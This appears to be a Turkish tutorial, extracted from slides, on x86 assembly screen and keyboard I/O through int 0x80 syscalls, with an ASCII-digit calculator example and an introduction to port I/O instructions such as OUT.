https://docplayer.biz.tr/15248899-S...ek-baska-bir-kodu-calistirmasi-islemidir.html https://wiki.osdev.org/Memory_Map_(x86) EKRAN VE KLAVYE İŞLEMLERİ Assambly Ekran ve Klavye İşlemleri
  • 98. Bu haftaki konumuz x86 Assambly dilinde ekrana yazı yazdırma ve klavyeden veri girme konusuna değineceyim. Konumuza geçmeden önce interrupt 80 için yapabileceğimiz işlemlerin listesini ve seçeceğimiz işlemlerde registerlere hangi verileri girmemiz gerektiğinin tablosunu vereceğim. https://i.imgyukle.com/2021/04/27/OXsg38.png https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86- 32_bit 32 bit içindir bu veriler tamamına linkten erişebilirsiniz. Resimdede gördüğünüz gibi hangi registere ne değer atayabileceğimiz göstermektedir. Burdaki işlemlerden birini kullanmak için ise eax registeri yazan kısımı kodumuza eklememiz gerekiyor. Ekrana yazı yazdırma ile başlayalım. Çok meşhur olan Hello Word örneği ile başlamasak olmazdı. :) https://i.imgyukle.com/2021/04/27/OXsioj.png section .data bölümü ile başlayacak olursak ekrana verme kısmını daha iyi anlamak adına. Gördüğünüz gibi msg nin içine Hello word yazısı atılmış bunu db ile ve tırnak işaretleri içine alarak bu değeri string bir değer olarak atadığını düşünebiliriz. Len equ $-msg de ise mesajın uzunluğunu len değerine eşitlemiştir. Bu uzunluk ne için önemli
  • 99. diyecek olursak hafızada ona göre yer ayıracağı için. Şimdi asıl işlemlerin döndüğü noktaya dönelim. https://i.imgyukle.com/2021/04/27/OXssLo.png ilk vermiş olduğum kaynakcaya bakacak olursa ekrana yazı yazdırmak için mesajın uzunluğunu edx ‘e yazmamız gerekiyor mesajımıızı ecx ‘e yollamamız gerekiyor. Çıkışın nereye gideceğini belirlemek için ise ebx belitmemiz gerekiyor ekrana vereceğimiz için 1 değerini veriyoruz. Eax registerimizede hangi işlemi yapacaksak interreput 80 için onun kodunu yazıyoruz çıkış yapma işlemi içinde gördüğünüz gibi eax değerine 1 atadık. Ek olarak da ekran modlarının kısaca örneklerndireceğim. 40*25 lik bir ekran açtırmak istiyorsak https://i.imgyukle.com/2021/04/27/OXsGxA.png 80*25 lik bir ekran açtırmak istiyorsak
  • 100. https://i.imgyukle.com/2021/04/27/OXsmD1.png Grafik modlu ekranı getirmek istiyorsak https://i.imgyukle.com/2021/04/27/OXsvbI.png Şimdiki konumuz ise klavyeden veri okumak
  • 101. https://i.imgyukle.com/2021/04/27/OXs1Qf.png şimdi ise inceleyeceğimiz kod bir hesap makinasına ait ve parça parça diğineceğiz. En üste kırmızı ile başlarını çizdiğim yerleri yapmanızı öneririm eax değerine yazacağınız sayıyı ezberlemek yerine amacını belirten kelimelere eşitleyerekte kullanabilirsiniz. Segment .data kısmı bir yere yazı yazdırmada kullandığımız işlemler mesajın atanması ve uzunluğunun hesaplanması segment .bss ise değişkenler alarak düşünebiliriz. Örnek verecek olursak c dilinde ( int a,b,c )diye oluşturduğumuz değişkenlere benzetebiliriz.
  • 102. https://i.imgyukle.com/2021/04/27/OXsKgG.png mavi ile işaretlediğim yerler ekrana yazı yazdırmak için kırmızı ile işaretlediklerim ise klavyeden veri girişi içindir. Asıl matematiksel işlemlerin döndüğü yere gelelim. https://i.imgyukle.com/2021/04/27/OXsq8S.png
  • 103. ilk girilen sayısal verinin ASCII değeri sıfırdan çıkarılıyor aynısı 2. içinde yapılıyor bizde bu işlemi gerçekleştirecek olursak. 1. girilen değer 2 2. girilen değer 3 1. değerin ASCII değerini Sıfırın ASCII değerinden çıkar ( 32-30 = 2 ) 2. değerin ASCII değerini Sıfırın ASCII değerinden çıkar ( 33-30 = 3 ) ilk adımda bunları gerçekleştiriyor 1. değer eax e kaydoluyor 2. değer de ebx e sonra bunları topluyor add komutu ile. Sonucun 5 olduğunu biliyoruz ancak assembly bize bu bilgiyi ekrana yazdırması için ASCII karşılığına ihtiyaç duymaktadır. Bu yuzden eax değerine sıfırın ASCII karşılığı olan 30 ile topluyor sonucuda (res) değişkenine atıyor. Şimdi ekranda yazdırılabilecek durumda :) sonraki işlemde gördüğünüz gibi res geğerini ekrana yazdırma rituelini gerçekleştiriyor ve yazdırdıktan sonra çıkış işlemi ile programı sonlandırıyor. TEMEL GİRİŞ ve ÇIKIŞ TEKNİKLERİ Merhabalar.Bu konumuzdaAssemblyilegirişve çıkışişlemlerinedeğineceğim.Girişve çıkış komutlarınıinceleyeceğiz. Inputve Outputyani kısaca I/Okomutlarıverilerinmikroişlemci-portarasındaki aktarımilişkisini sağlamaktadır. Verilergirişportundanalınırsaverininboyutunagöre işlemcimimarisineuygunregisterlardanalınır. Yani 8 bitlikveri Al,16 bitAX,32 bit EAXregisterlarınaalınır.Verilerçıkışportunagönderilecekseyine uygunregisterlaraalındıktansonraçıkış portunagönderilir. Burada bahsi geçenportkavramını açıklamak gerekirse sistemindışdünyaylailişkisini kurankapı numaraları gibi düşünebiliriz.Mikroişlemcilerimizgirişçıkışişlemlerindebellekharitalıve yalıtılmış girişçıkış işlemlerini kullanırlar.Girişçıkışişlemlerindeki portadresleri statikve dinamikformatlarda tanımlanabilir.Statikadreslemede A7ve A0hatlarına yerleşilir0-255 arası değeralınır. Dinamik adreslemede adreslerDXkaydedicisinealınır0 ile 65535 arasında toplamda65536 port tanımlanabilir.BudaadresyolundaA0 ile A15 hatlarınıntamamını kapsar. Temel teorikbilgilerdensonrabirkaçAssemblykoduinceleyelim. OUT instruction OUT, bir bağlantınoktasınabyte yani 8bit veyaWord yani 16bitlikverileriçıktılar.AL ve AX kaydedicilerini kullanır. OUT 3BH, AL AL kaydedicisininiçeriğini3BHbağlantınoktası adresine kopyalar.